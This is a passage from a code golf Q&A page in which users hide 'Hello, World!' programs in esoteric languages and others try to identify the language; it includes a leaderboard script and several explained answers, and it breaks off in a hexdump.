method!\n]"}}},{"rowIdx":33,"cells":{"text":{"kind":"string","value":"[Question]\n [\n> \n> **Congratulations to [Dennis](https://codegolf.stackexchange.com/a/55408/8478) who won both the cops' and the robbers' challenge!** Calvin's Hobbies has already delivered on his promise [and wrote this challenge](https://codegolf.stackexchange.com/q/57719/8478) for Dennis for winning the robbers' challenge.\n> \n> \n> \n> \n> **Notice:** This challenge is closed for further cop answers as of 2015-09-01 02:00:00 UTC. Any new answers posted will not be eligible for winning and will not count towards the robbers' scores if cracked. However, you may still post new answers for the other users' enjoyment, so that there are still some puzzles available for future visitors. These new answers are included in the \"Vulnerable Cops\" section of the leaderboard and their non-competing status is marked separately.\n> \n> \n> \nWelcome to the Cops-and-Robbers edition of [The Hello World Quiz](http://helloworldquiz.com/)! (If you've never played the quiz, feel free to try it out for a minute or 30. You don't need to have played it for this challenge though.)\n## The Cops' Challenge\n1. **Choose a programming language.** Valid languages must have either [an English Wikipedia article](https://en.wikipedia.org/wiki/Lists_of_programming_languages), [an esolangs article](http://esolangs.org/wiki/Language_list) or [a Rosetta Code article](http://rosettacode.org/wiki/Category:Programming_Languages) at the time this challenge was posted (note that the linked lists are not necessarily complete because they are curated manually). They must also satisfy [our usual standards for programming languages](http://meta.codegolf.stackexchange.com/a/2073/8478), so things like HQ9+ are out. Lastly, there must be a free (as in beer) interpreter or compiler available for the language (at the time this challenge was posted).\n2. **Write a Hello World program.** That is, write a full program in the chosen language which prints `Hello, World!` (exactly like that, i.e. this exact byte stream) and optionally a single trailing newline to STDOUT or closest alternative. \nYou must not assume a REPL environment, existing boilerplate code, or non-standard compiler/interpreter flags. The program must be in the form of one or more source files (to rule out quirky languages like [Folders](http://esolangs.org/wiki/Folders)) and must fit into your answer in full (so it must not be longer than 30,000 characters) - this shouldn't be an issue for any serious submission. \nIf your code contains bytes outside the printable ASCII range, please include a pastebin or hex dump to make sure your code is actually testable.\nThe program must terminate within 1 minute on a typical desktop PC.\nThat's it. The catch is that you want to obfuscate your code such that it's not obvious which language you picked. Also note that you don't want your code to accidentally be a valid Hello World program in any other language, although I expect that to be unlikely for sufficiently obfuscated programs.\nYou must not under any circumstances edit the source code of your submission once posted (as this may invalidate a robbers' active attempts at cracking your answer). So make sure that you golf it as well as you can (or dare) before posting. If you realise that your answer does not work after posting it, simply delete your answer and post a fixed version if you want to.\nIf no one finds a language your code is valid in for 7 days, you may reveal the chosen language (ideally with an explanation for your obfuscated code), which will make your answer *safe*. Note that your submission can still be cracked until you reveal the language.\nThe shortest safe submission (in bytes) wins.\n### Formatting\n*(Feel free to skip this section and read The Robbers' Challenge if you're not planning to participate as a cop right now.)*\nAt the bottom of this post, you'll find a Stack Snippet which generates leaderboards as well as a list of submissions which can still be cracked. For the snippet to work, it is important that you include a certain header in your answer:\n* New answers should include a header like\n```\n# ???, [N] bytes\n```\nwhere `[N]` is the size of your code in bytes and `???` should appear literally.\n* If the answer is not cracked for 7 days and you want to make your answer safe by revealing the language, simply replace the `???`, e.g.\n```\n# Ruby, [N] bytes\n```\nFeel free to have the language name link to a relevant website like an esolangs page or a GitHub repository. The link will then be displayed in the leaderboard.\n* If another user successfully cracked your submission (see below), please also add the language, along with a notice like\n```\n# Ruby, [N] bytes, cracked by [user]\n```\nwhere `[user]` is the name of the user who submitted the first valid crack. If the language used in the crack is different from the one you intended, I'd recommend using the robbers' guess and mentioning in the answer that you intended it to be something else. Feel free to make the user name a link to their profile page.\n## The Robbers' Challenge\n1. **Find a vulnerable answer.** That is an answer, which hasn't been cracked yet and which isn't *safe* yet.\n2. **Crack it by figuring out its language.** That is, find *any* language in which the given program is a valid Hello World program (subject to the rules outlined in The Cops' Challenge above). It doesn't matter if this is the language the cop intended. \nIf you've found such a language, leave a comment with the language's name. If possible, you should include a link to an online interpreter, showing that the code actually works in that language as required.\nEvery user only gets one guess per answer. You must not crack your own answer (obviously...).\nThe user who cracked the largest number of answers wins the robbers' challenge. Ties are broken by the sum of bytes of cracked answers (more is better).\nBecause the robbers' challenge is held exclusively in comments, there won't be any reputation incentive for the robbers. However, **the Grand Master of Challenge Writing, [Calvin's Hobbies](https://codegolf.stackexchange.com/users/26997/calvins-hobbies), has kindly offered to write a challenge about the user who wins the robbers' challenge!**\n## Challenge Dashboard\nThe Stack Snippet below generates leaderboards for the cops and robbers and will also list all answers which can still be cracked. Let me know if anything appears not to be working properly, and I'll try to fix it as soon as possible. If you can think of additional features which would make the dashboard more useful, leave a comment as well.\n```\n/* Configuration */\nvar QUESTION_ID = 54807; // Obtain this from the url\n// It will be like http://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page\nvar ANSWER_FILTER = \"!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe\";\nvar COMMENT_FILTER = \"!)Q2B_A2kjfAiU78X(md6BoYk\";\nvar DAYS_TILL_SAFE = 7;\nvar OVERRIDE_USER = 8478;\nvar CUTOFF_DATE = new Date(Date.UTC(2015, 8, 1, 2));\nvar MS_TILL_SAFE = DAYS_TILL_SAFE * 24 * 60 * 60 * 1000;\n/* App */\nvar answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page;\nfunction answersUrl(index) {\n // Must load over https (this comment is because I need to change 6+ chars)\n return \"https://api.stackexchange.com/2.2/questions/\" + QUESTION_ID + \"/answers?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + ANSWER_FILTER;\n}\nfunction commentUrl(index, answers) {\n return \"https://api.stackexchange.com/2.2/answers/\" + answers.join(';') + \"/comments?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + COMMENT_FILTER;\n}\nfunction getAnswers() {\n jQuery.ajax({\n url: answersUrl(answer_page++),\n method: \"get\",\n dataType: \"jsonp\",\n crossDomain: true,\n success: function (data) {\n answers.push.apply(answers, data.items);\n answers_hash = [];\n answer_ids = [];\n data.items.forEach(function(a) {\n a.comments = [];\n var id = +a.share_link.match(/\\d+/);\n answer_ids.push(id);\n answers_hash[id] = a;\n });\n if (!data.has_more) more_answers = false;\n comment_page = 1;\n getComments();\n }\n });\n}\nfunction getComments() {\n jQuery.ajax({\n url: commentUrl(comment_page++, answer_ids),\n method: \"get\",\n dataType: \"jsonp\",\n crossDomain: true,\n success: function (data) {\n data.items.forEach(function(c) {\n if (c.owner.user_id === OVERRIDE_USER)\n answers_hash[c.post_id].comments.push(c);\n });\n if (data.has_more) getComments();\n else if (more_answers) getAnswers();\n else process();\n }\n }); \n}\ngetAnswers();\nvar VULNERABLE_REG = /[?]{3},[^\\n\\d,]*(\\d+)[^\\n,]*<\\/h\\d>/;\nvar SAFE_REG = /\\s*([^\\n,]*[^\\s,]),[^\\n\\d,]*(\\d+)[^\\n,]*<\\/h\\d>/;\nvar CRACKED_REG = /\\s*([^\\n,]*[^\\s,]),[^\\n\\d,]*(\\d+)[^\\n,]*,\\s*cracked\\s*by\\s*(.*[^\\s<])<\\/h\\d>/i;\nvar OVERRIDE_REG = /^Override\\s*header:\\s*/i;\nfunction getAuthorName(a) {\n return a.owner.display_name;\n}\nfunction process() { \n console.log(answers);\n var vulnerable = [];\n var cops = [];\n var robbers_hash = {};\n \n var now = Date.now();\n \n answers.forEach(function (a) {\n var body = a.body;\n a.comments.forEach(function(c) {\n if(OVERRIDE_REG.test(c.body))\n body = '

' + c.body.replace(OVERRIDE_REG, '') + '

';\n });\n var match;\n if (VULNERABLE_REG.test(body)) {\n vulnerable.push({\n user: getAuthorName(a),\n size: +body.match(VULNERABLE_REG)[1],\n time_left: (a.creation_date*1000 > CUTOFF_DATE) ? Infinity : MS_TILL_SAFE - (now - a.creation_date*1000),\n link: a.share_link,\n });\n } else if (SAFE_REG.test(body)) {\n if (a.creation_date*1000 < CUTOFF_DATE) {\n match = body.match(SAFE_REG);\n cops.push({\n user: getAuthorName(a),\n size: +match[2],\n language: match[1],\n link: a.share_link,\n });\n }\n } else if (CRACKED_REG.test(body)) {\n if (a.creation_date*1000 < CUTOFF_DATE) {\n match = body.match(CRACKED_REG);\n var language = match[1];\n var size = +match[2];\n var user = match[3];\n if (/
0) {\n time_string += ((time / (1000 * 60 * 60 * 24))|0) + \"d \";\n time %= 1000 * 60 * 60 * 24;\n time_string += ((time / (1000 * 60 * 60))|0) + \"h \";\n time %= 1000 * 60 * 60;\n time_string += ((time / (1000 * 60))|0) + \"m \";\n time %= 1000 * 60;\n time_string += ((time / (1000))|0) + \"s\";\n }\n else\n time_string = \"Cop may reveal language!\";\n \n answer = answer.replace(\"{{NAME}}\", a.user)\n .replace(\"{{SIZE}}\", a.size)\n .replace(\"{{TIME}}\", time_string)\n .replace(\"{{TIME}}\", a.time_left)\n .replace(\"{{HUE}}\", a.time_left <= 0 ? 0 : a.time_left == Infinity ? 160 : a.time_left/MS_TILL_SAFE*80+40)\n .replace(\"{{LINK}}\", a.link);\n \n answer = jQuery(answer)\n \n jQuery(\"#vulnerable\").append(answer);\n });\n \n cops.sort(function (a, b) {\n var aB = a.size,\n bB = b.size;\n return aB - bB\n });\n \n var place = 1;\n var lastSize = null;\n var lastPlace = 1;\n cops.forEach(function (a) {\n var answer = jQuery(\"#cops-template\").html();\n var size = a.size;\n if (size != lastSize)\n lastPlace = place;\n lastSize = size;\n ++place;\n answer = answer.replace(\"{{PLACE}}\", lastPlace + \".\")\n .replace(\"{{NAME}}\", a.user)\n .replace(\"{{LANGUAGE}}\", a.language)\n .replace(\"{{SIZE}}\", a.size)\n .replace(\"{{LINK}}\", a.link);\n \n answer = jQuery(answer)\n \n jQuery(\"#cops\").append(answer);\n });\n var robbers = [];\n for (var r in robbers_hash)\n if (robbers_hash.hasOwnProperty(r))\n robbers.push(robbers_hash[r]);\n \n robbers.sort(function (a, b) {\n var aB = a.cracks,\n bB = b.cracks,\n aC = a.total_size,\n bC = b.total_size;\n return (bB - aB) || (bC - aC);\n });\n \n place = 1;\n var lastCracks = null;\n lastSize = null;\n lastPlace = 1;\n robbers.forEach(function (a) {\n var answer = jQuery(\"#robbers-template\").html();\n var cracks = a.cracks;\n var size = a.total_size;\n if (size != lastSize || cracks != lastCracks)\n lastPlace = place;\n lastSize = size;\n lastCracks = cracks;\n ++place;\n var languages = \"\";\n var first = true;\n a.languages.forEach(function (l) {\n if (!first) { \n languages += \", \";\n }\n first = false;\n var lang = l.language;\n if (/' + lang + '';\n });\n answer = answer.replace(\"{{PLACE}}\", lastPlace + \".\")\n .replace(\"{{NAME}}\", a.user)\n .replace(\"{{CRACKS}}\", a.cracks)\n .replace(\"{{TOTAL_SIZE}}\", a.total_size)\n .replace(\"{{LANGUAGES}}\", languages);\n \n answer = jQuery(answer)\n \n jQuery(\"#robbers\").append(answer);\n });\n}\n```\n```\nbody { text-align: left !important}\n#vulnerable-cops {\n padding: 10px;\n width: 600px;\n}\n#cops-leaderboard {\n padding: 10px;\n width: 600px;\n}\n#robbers-leaderboard {\n padding: 10px;\n width: 600px;\n}\ntable thead {\n font-weight: bold;\n}\ntable td {\n padding: 5px;\n}\n.time-ms {\n display: none;\n}\n```\n```\n\n\n
\n

Vulnerable Cops

\n \n \n \n \n \n \n
UserSizeTime Left
\n
\n
\n

Leaderboard of Safe Cops

\n \n \n \n \n \n \n
UserLanguageSize
\n
\n
\n

Leaderboard of Robbers

\n \n \n \n \n \n \n
UserCracksTotal SizeLanguages (link to answers)
\n
\n\n \n \n \n
{{NAME}}{{SIZE}}{{TIME}}Link{{TIME_MS}}
\n\n \n \n \n
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
\n\n \n \n \n
{{PLACE}}{{NAME}}{{CRACKS}}{{TOTAL_SIZE}}{{LANGUAGES}}
\n```\n \n[Answer]\n# [TinyBF](https://esolangs.org/wiki/TinyBF), 708 bytes, cracked by kirbyfan64sos\nThis was crazy fun. Everyone knows that I can only write one language ;)\n```\nI,c,o,d,e,C;i;main(){i++;for(i++;i^9;i++)putchar(((i+69)*!(i+2*~0)|(9!=9+(I=((i-1)>>(i+2*~0))+~(!(i+2*~0)+~0)))*111|115*(6>i+1)*(i>3)+~(i>(10+(9>i)+~i+(i>9)))+(56))|(o=(i>=7+!i))|(d=(i>>1>3)*(i*((i+~0>5)<<2)+(i>~2+i)))|(e=(i-~0>(i|5)&&32>>i)*99)|(C=(i>>(i>>2+i/7)>0)*(i+(i<<1)+(i<<2)+(i<<3)+(i<<4)>=(i!=6)*(5>=i)*(i+(i<<5)))*(i+(i*i)+62)*((i==6)!=!i)))+(i*i+(i<<1)+(31+i^i)+(i+i)*~0+2*i)*(1==(i==7)));I|=(c+=(o>d)),2*(c+C>o+d);e^=(d>>c)|4;I-=(e>C)+(I+c+(o==C)-~7*(C<=I)>>(C>=o));C=(e>>2)^(I-~o==c),o=255>>((int)1e7*(c-~1)>>(C+e+d+o+I)),i|=i+(e>=d)+(2<=(C|e))?(I>o)+(d=(20*(I==c))>>(1==~I+d+e+(C==(1>=(I==C))))):(I+o+C)*((C+e)/5+C+I+20+I+I==1>>(o>>(d>=(C!=I)))));}\n```\n## Explanation\nFirst of all, this took many many hours to make, so I'm overwhelmingly delighted by all the positive reactions and attempts to crack it!\nAs noted in the comments, when compiled in C, the code prints `Gotcha!` followed by a newline, but when [TinyBF](https://esolangs.org/wiki/TinyBF) it prints the desired `Hello, World!`. TinyBF is a simple derivative of [Brainf\\*\\*k](https://esolangs.org/wiki/Brainfuck) that replaces its 8 commands with just 4: `+ > | =`. Since all other characters are ignored, I could happily write a C program with many many unnecessary operators to try to lead people in the wrong direction (which, to my surprise, worked fairly well). Here is the pure TinyBF code:\n```\n++++++++|=+=>>++++|>+>+>+>++>+++|=>|=>=+|=>>>+>+>+|=>|>>|=>>>>+>++++>==>=+++===+++++++====|=+=>+>+=>>|=>+++===>>>==>>===>>>>++++|=+>=++++>=|>+===>>==+++==>===++++++++==>>>>>==\n```\nHere is the same program, written in ordinary BF:\n```\n++++++++[->>++++[>+>+>+>++>+++[<]>-]>>>+>+>+[<]<<]>>>>+>++++>.>---.+++++++..[->+>+<<]>+++.<<<.<<.>>>>++++[-<++++>]<-.>>.+++.>.--------.<<<<<.\n```\nYou can use [this interpreter](http://bataais.com/tinyBF.html) to convert from BF to TinyBF, and to run the code.\n[Answer]\n## [evil](http://esolangs.org/wiki/Evil), 658 bytes, cracked by Sp3000\n```\n#!/sbin/fortran\nHello, World = 'SCBsIG8gICBvIGwgIQogZSBsICwgVyByIGQKYm9zcnJ1a3R2cG54cHN2eGJ5eWJkeG9iaHJ0eHV0SGF0eXJhcGF4eW5wYWFuenhkdnBidnZuYWRhcXZoZGFhcEVxcnZkcWF1YXh0ZW5ncXJ4ZXF2d2ZndWRueXZweWR1d0x2eHhydHZidW55ZHJucW5ocGhidG5neWR3eHd0c3V3d0x2c3d0cHVueHVwdHJwaWhhaG16ZXNiaXdweWdnanVocU9saHV3eWVwaGNyeW1naHBhaW5wZGRnZWJuZ2Z1eGRwZnV3eXNienJ2enh0YnRyaXZ6ZW54eWR3eGhodHh2YVd0eXF6dnVwZWdndnVnY3d0c2NhZWRnaWRyaXJ1aHV0d09tZGRwdHJueXVneG5iYXBueG96d2FweGR3enRna21wZ1Jjc29oeHVoZ3Z4Y3V3eXV5end2cXZ1ZG52ZWJudW16d0x2YWZoeXR2ZW91YXdoYW90YXN0ZWNuY3V2cG5odXVwZ0RiY2d2ZW15cnV0ZG9id3J5dWFyYXN3Z3hhdHdkZnJkYnN3cXJ4dWJzYXf='.decode('base64').rsplit(' ', 1)\nprint Hello, World\n```\n---\n[evil](http://esolangs.org/wiki/Evil) is an old esolang a bit like BF. The [commands](http://web.archive.org/web/20061128232206/www1.pacific.edu/~twrensch/evil/evilspec.html) are all lowercase letters, and other characters are just ignored.\nFirst, I generated a short hello world program in evil using Python:\n```\naeeeaeeewueuueweeueeuewwaaaweaaewaeaawueweeeaeeewaaawueeueweeaweeeueuw\n```\nThen, again using Python, I transformed it into a base64 string:\n```\nYm9zcnJ1a3R2cG54cHN2eGJ5eWJkeG9iaHJ0eHV0eXJhcGF4eW5wYWFuenhkdnBidnZuYWRhcXZoZGFhcnZkcWF1YXh0ZW5ncXJ4ZXF2d2ZndWRueXZweWR1eHhydHZidW55ZHJucW5ocGhidG5neWR3eHd0c3V3c3d0cHVueHVwdHJwaWhhaG16ZXNiaXdweWdnanVoaHV3eWVwaGNyeW1naHBhaW5wZGRnZWJuZ2Z1eGRwZnV3eXNienJ2enh0YnRyaXZ6ZW54eWR3eGhodHh2eXF6dnVwZWdndnVnY3d0c2NhZWRnaWRyaXJ1aHV0ZGRwdHJueXVneG5iYXBueG96d2FweGR3enRna21wc29oeHVoZ3Z4Y3V3eXV5end2cXZ1ZG52ZWJudW16YWZoeXR2ZW91YXdoYW90YXN0ZWNuY3V2cG5odXVwY2d2ZW15cnV0ZG9id3J5dWFyYXN3Z3hhdHdkZnJkYnN3cXJ4dWJzYXf=\n```\nThat decodes into purely lowercase letters:\n```\nbosrruktvpnxpsvxbyybdxobhrtxutyrapaxynpaanzxdvpbvvnadaqvhdaarvdqauaxtengqrxeqvwfgudnyvpyduxxrtvbunydrnqnhphbtngydwxwtsuwswtpunxuptrpihahmzesbiwpyggjuhhuwyephcrymghpainpddgebngfuxdpfuwysbzrvzxtbtrivzenxydwxhhtxvyqzvupeggvugcwtscaedgidriruhutddptrnyugxnbapnxozwapxdwztgkmpsohxuhgvxcuwyuyzwvqvudnvebnumzafhytveouawhaotastecncuvpnhuupcgvemyrutdobwryuaraswgxatwdfrdbswqrxubsaw\n```\nI added a few other things to the base64 string, then wrote it out as the Python program above.\nThe shebang is actually important in the program. The `s` before the `b` in `sbin` will skip the `b` command. Then the `f` in `fortran` will scan forward until the next `m` character, which is in the base64 string.\n[Answer]\n## Lua, ~~2920~~ 2865 Bytes, cracked by jimmy23013\nI only learned this language yesterday so forgive any syntax errors.\n```\n --[[~The infamous Hello World program~]] p=[[\nRomeo, a young man with a remarkable patience.\nJuliet, a likewise young woman of remarkable grace.\nOphelia, a remarkable woman much in dispute with Hamlet.\nHamlet, the flatterer of Andersen Insulting A/S.\n Act I: Hamlets insults and flattery.\n Scene I: The insulting of Romeo.\n[Enter Hamlet and Romeo]\nHamlet:\n You lying stupid fatherless big smelly half-witted coward!\n You are as stupid as the difference between a handsome rich brave\n hero and thyself! Speak your mind!\n You are as brave as the sum of your fat little stuffed misused dusty\n old rotten codpiece and a beautiful fair warm peaceful sunny summer's\n day. You are as healthy as the difference between the sum of the\n sweetest reddest rose and my father and yourself! Speak your mind!\n You are as cowardly as the sum of yourself and the difference\n between a big mighty proud kingdom and a horse. Speak your mind.\n Speak your mind!\n[Exit Romeo]\n Scene II: The praising of Juliet.\n[Enter Juliet]\nHamlet:\n Thou art as sweet as the sum of the sum of Romeo and his horse and his\n black cat! Speak thy mind!\n[Exit Juliet]\n Scene III: The praising of Ophelia.\n[Enter Ophelia]\nHamlet:\n Thou art as lovely as the product of a large rural town and my amazing\n bottomless embroidered purse. Speak thy mind!\n Thou art as loving as the product of the bluest clearest sweetest sky\n and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself.\n Speak thy mind! Let them]] print -- (She pauses) -- it in the streets!\n --[[Romeo is sobbing, disgusted at his life)--\n Thou art as pungent as the stench of a goat. Speak thy mind!\n [[Exeunt Romeo]]\n \"Hello, World!\" -- No response. \"Hello!\" He calls out again, but to no avail.\n[[Exeunt Ophelia and Hamlet\n Act II: Behind Hamlet's back.\n Scene I: Romeo and Juliet's conversation.\n[Enter Romeo and Juliet]\nRomeo:\n Speak your mind. You are as worried as the sum of yourself and the\n difference between my small smooth hamster and my nose. Speak your\n mind!\nJuliet:\n Speak YOUR mind! You are as bad as Hamlet! You are as small as the\n difference between the square of the difference between my little pony\n and your big hairy hound and the cube of your sorry little\n codpiece. Speak your mind!\n[[Exit Romeo]\n[[\n Scene II: Juliet and Ophelia's conversation.\n[Enter Ophelia]\nJuliet:\n Thou art as good as the quotient between Romeo and the sum of a small\n furry animal and a leech. Speak your mind!\nOphelia:\n Thou art as disgusting as the quotient between Romeo and twice the\n difference between a mistletoe and an oozing infected blister! Speak\n your mind!\n[Exeunt]]\n```\nWarning: It prints \"Hello, World!\" and then exits with an error\n## Explanation:\nIn Lua, --[[ means multiline comment, -- means one line comment, and [[ is multiline string.\nIf you scroll all the way to the side on the first line you see a very suspicious p=[[. This is defining a multi line string that goes from \"Romeo, a young man\" all the way down to \"Let them]]\", which most people glance over but is actually ending the multiline string. Then we have print, which is the print function, and then \"--\" makes the rest of the line a comment. We need to put some space between the print and the Hello World so we don't give it away, so we have a multiline comment:\n\"--[[Romeo is sobbing, disgusted at his life)--\nThou art as pungent as the stench of a goat. Speak thy mind!\n[[Exeunt Romeo]]\" The ]] at the end ends the multiline comment, and on the line after it is \"Hello, World!\" and then the rest of the line is commented out by a --.\nRemoving all the comments from that area it becomes:\n```\n Thou art as loving as the product of the bluest clearest sweetest sky\n and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself.\n Speak thy mind! Let them]] print \n \"Hello, world!\" \n```\n[Answer]\n# [TRANSCRIPT](https://esolangs.org/wiki/TRANSCRIPT), 39 bytes\n```\nEnd is here.\n>End, Hello, World!\n>X End\n```\nHere's a nice and simple one.\n---\nFirst safe cop! I'm surprised this one lasted until the end — I tried to pick a language that would be hard to look up directly, but would be easier to crack if you could guess the theme.\nTRANSCRIPT is an esolang based on interactive fiction games. It has NPCs (strings) and objects (integers). Here `End` is the name of an NPC.\nThe first line declares the NPC with the syntax ` is here.`. The second line then assigns the NPC the string `\"Hello, World!\"`, and the third line prints the string using the `X / EXAMINE`command. There's not much room for obfuscation here, so all I did was pick something that's not usually a name for the NPC.\nTo prove that TRANSCRIPT is a valid language for this challenge, here's a program which checks whether an input natural number is prime or not:\n```\nThe Nineteenth Room\nIn the middle of the room you spot a lone figure.\nMartin is here.\nYou can see a ladder, a lamp, a rope, a knife, a program, a laptop, an interpreter, and an esolang here.\n>RESTORE\nWhich save file would you like to restore?\n>PROGRAM.sav\nDone.\n>SET LAMP TO 1\nYou turn on the lamp.\n>LIFT KNIFE\nYou pick up the knife, feeling powerful.\n>LIFT KNIFE\nThe knife is already in hand, but you decide to lift it up higher.\nYou know knives aren't dumbbells, right?\n>TELL MARTIN ABOUT LAMP\nMartin is surprised that you managed to turn on the lamp without needing \"HELP\".\n>HELP\nToo bad, no hints for you.\n>SHOW KNIFE TO MARTIN\nYou pull out the knife.\nMartin picks up his phone and starts calling for the police.\nYou quickly realise your mistake and apologise profusely. Good job.\n>ASK MARTIN ABOUT PROGRAM\nYou show Martin a piece of paper which, supposedly, has a computer program on it.\nThe program appears to be written in a strange and foreign language.\nMartin points to the laptop sitting in the corner, currently blocked by a ladder.\n>LIFT LADDER\nYou move the ladder slightly out of the way.\n>SHOW PROGRAM TO MARTIN\nMartin doesn't respond. He's too busy trying to golf esolang quines.\n>PUT PROGRAM IN LAPTOP\nYou try to enter the program into the laptop, but your efforts are futile.\nThe laptop is off.\n>DROP LAPTOP\nYou drop the laptop to the ground, somehow turning it on in the process.\nJust kidding, it's still off. The screen has an extra crack now though.\n>ATTACH KNIFE TO LAPTOP\nYou stick the knife in one of the laptop's USB ports.\nThe laptop turns on.\n>SET ROPE TO 0\nYou grab both ends of the rope and tie a knot, forming a loop.\n>PUT PROGRAM IN ROPE\nThis program doesn't look like it's designed to run in a multi-threaded environment.\n>CUT ROPE WITH KNIFE\nThe knife is powering the laptop.\n>HIT ROPE WITH KNIFE\nThe knife is still (somehow) powering the laptop.\n>SET INTERPRETER TO 0\nYou boot up the interpreter, playing around with a few flags.\n>PUT PROGRAM IN INTERPRETER\nYou enter the program into the interpreter.\n>TAKE ROPE OUT OF INTERPRETER\nThe language interpreted by the interpreter appears to be using immutable strings.\n>TELL MARTIN ABOUT ESOLANG\nThe esolang you see in the laptop appears to involve a lot of nonsense.\n>SHOW INTERPRETER TO MARTIN\nYou show Martin the output of the program. It says: \"Hello, World!\"\n>ASK MARTIN ABOUT ESOLANG\nMartin says he hasn't seen this esolang before, but it looks funky.\nYou get so excited about this new esolang that you knock over the ladder.\n>LIFT LADDER\nYou pick the ladder up and move it a bit further away.\n>SHOW ESOLANG TO MARTIN\nMartin tries to study the language.\n>DETACH KNIFE FROM LAPTOP\nYou pull the knife out from the laptop.\nThe laptop turns off.\n>TELL MARTIN ABOUT ESOLANG\nMartin wonders why the language doesn't have more constructs.\nIf it did, it might be possible to write programs that actually make sense.\n>SHOW LADDER TO MARTIN\nMartin argues that it's actually a stepladder.\n>ASK MARTIN ABOUT ESOLANG\nMartin thinks that Prelude and Fission are much more awesome languages.\n>MARTIN, Your number was prime.\nMartin raises an eyebrow, wondering what you're on about.\n>SHOW ESOLANG TO MARTIN\nMartin shows *you* Prelude. It is indeed more awesome.\n>TELL MARTIN ABOUT LAMP\nMartin already knows about the lamp, remember?\n>SHOW LADDER TO MARTIN\nIt's a stepladder.\n>ASK MARTIN ABOUT ESOLANG\nMartin thinks the esolang could have been designed better. It's fun to write, though.\n>MARTIN, Your number was not prime.\nYou say this to Martin, but the message isn't intended for Martin.\nMartin seems to realise.\n>SHOW ESOLANG TO MARTIN\nThe esolang seems to be called \"TRANSCRIPT\".\n>EXAMINE MARTIN\nIt's rude to stare at people like that.\n>EXIT\nThank goodness this charade is over.\n```\n---\nAs a side note, I've actually been nervous since @aditsu's guess, which was *very* close. [Inform 7](https://en.wikipedia.org/wiki/Inform) is a language for *creating* interactive fiction games, which I didn't even know existed.\nAs a tribute to aditsu's attempt, I gave Inform 7 a try:\n```\n\"aditsu's close guess\" by Sp3000\nThe Nineteenth Byte is a room.\n\"abandon all work, ye who enter here —aditsu\"\nThe laptop is a device in the Nineteenth Byte. A llama is here.\nCarry out switching on the laptop:\n say \"Hello, World!\"\n```\nAnd here's a sample run:\n[![enter image description here](https://i.stack.imgur.com/sNOMy.png)](https://i.stack.imgur.com/sNOMy.png)\n[Answer]\n# [Headsecks](http://esolangs.org/wiki/Headsecks), 637 bytes, cracked by Dennis\n```\n( say `first hello by sp3000` )\n( harp hahs\n ( pink shark )\n ( is `chars` )\n ( hash `chars` )\n ( harks `snap exit crew` )\n)\n( hiss\n ( chain crude typo )\n ( hi scrap )\n ( brrr yaws )\n ( skips ads )\n ( ship arks )\n ( raps paths )\n ( abs six )\n ( that happy tax )\n )\n)\n( hairspray aspirin\n ( fix nappies world )\n ( herrings are red )\n ( which sappy dry shirts irk )\n ( chaps pass crane exam )\n ( puts `uryyb jbeyq` )\n ( mock arch )\n)\n( bark\n ( harsh hippy apps )\n ( tap chias )\n ( spirit say anarchy )\n ( eat pudding now )\n ( charity yay yay )\n ( sparky spiral )\n ( hip hip `happily` )\n ( shabby aid )\n ( fig crave seed )\n ( spared pugs )\n)\n```\n---\nHeadsecks is an encoding to BF via code points modulo 8. The above program, when converted, gives\n```\n++>--++[-<>.++,..]+<-+>+>+++++-<+++-<+++-+><++++-[>+>+-<>+-<+++->++>+-<>++-<++++->+++>+-<>++-<++++-<>>++>[-++,+-.+><,]++-<-<+++->><+++>+--[+><,.,+.-+]+-<++++-+>><-++-<+++<<<<+--]>+-<+++>>-+>+-.>+-<+++>+-++-<>>+-<+++<-+>++-.+>+-<+++-<>+>-++-<+++.+-.++-++-+.-++-<+-<-<+++--<>+<--+->+-<-[<+++[-++[-++-,>+]]<..+-<++++,<<-[]>+-<,+<,.+-<+++]+->++>-++-+.<-+>+-<.>+-<>+-<+++>+-+>++->>+><-[,+,+-,+-<++++,.>++,<--<+<<,--++-<+++,]>>+-<>++-<-<++<-<><++++-<>+++-++-+-++>+-<+++.-++>+-->+-<+++>+-<-.+>--+-[-<>+-+-<+++,-.++,..-[]+[]]+-<+++>+-<-.-+---+---+-<+++>+-<>-+>+-<-.+-<++++-+++-++++-++-.-++-<+++>+-<<-+--.+-<+++[-]+><-[,+>,,.+-<+++>+-<,.++,]>+-<-\n```\nThere's a lot of useless pairs like `+-` or `<>` in there, and stripping those away gives\n```\n++>[-.++,..]++>++++<++<++++++[>+++>++>+<+++>+++>+<+++>++>[+,.+,]+<-<++>+++>-[+,.,+.]<+++++++<<<<-]+++>>>.+++>+++++.+++++++..+++.<<-<++<---[<+++[+[,>+]]<..<++++,<<-[],+<,.<+++]>++>+.<.+++>+>+>>[,+,,<++++,.>++,<--<+<<,-<+++,]>>+<-<++<-<+++++++++++.+>+.+>--[-<+++,-.++,..-[]+[]]<++.-----<+++>-.<+++++++++.<+++<--.<+++[-][,+>,,.<+++,.++,]-\n```\nYou might notice that a few loops have `,` (input) in them - these loops are never run, and merely serve to add `e`s to a program which otherwise would have suspiciously had only `a`s and `i`s as its only vowels.\nThe syntax, backticks, extraneous `)`, etc. were all red herrings. \n[Answer]\n# [???](http://esolangs.org/wiki/%3F%3F%3F), 344 bytes, cracked by jimmy23013\n[![source code](https://i.stack.imgur.com/0Uyao.gif)](https://i.stack.imgur.com/0Uyao.gif)\nHere's a hexdump of the file:​​​​​​​​​​​​​​​\n```\n0000000: 47 49 46 38 37 61 0d 00 0d 00 85 13 00 00 00 00 GIF87a..........\n0000010: 00 00 c0 00 00 ff 00 c0 00 00 ff 00 00 c0 c0 00 ................\n0000020: ff ff c0 00 00 ff 00 00 c0 00 c0 ff 00 ff c0 c0 ................\n0000030: 00 ff ff 00 c0 c0 ff c0 ff c0 c0 ff ff ff c0 c0 ................\n0000040: ff c0 ff ff ff c0 2c 2c 2c 2c 2c 2c 2c 2c 22 27 ......,,,,,,,,\"'\n0000050: 3b 2e 3b 2e 2e 2e 2e 2e 3b 2c 2c 3b 2c 2c 3b 2c ;.;.....;,,;,,;,\n0000060: 2c 2c 3b 2e 2e 2e 2e 3b 2c 2c 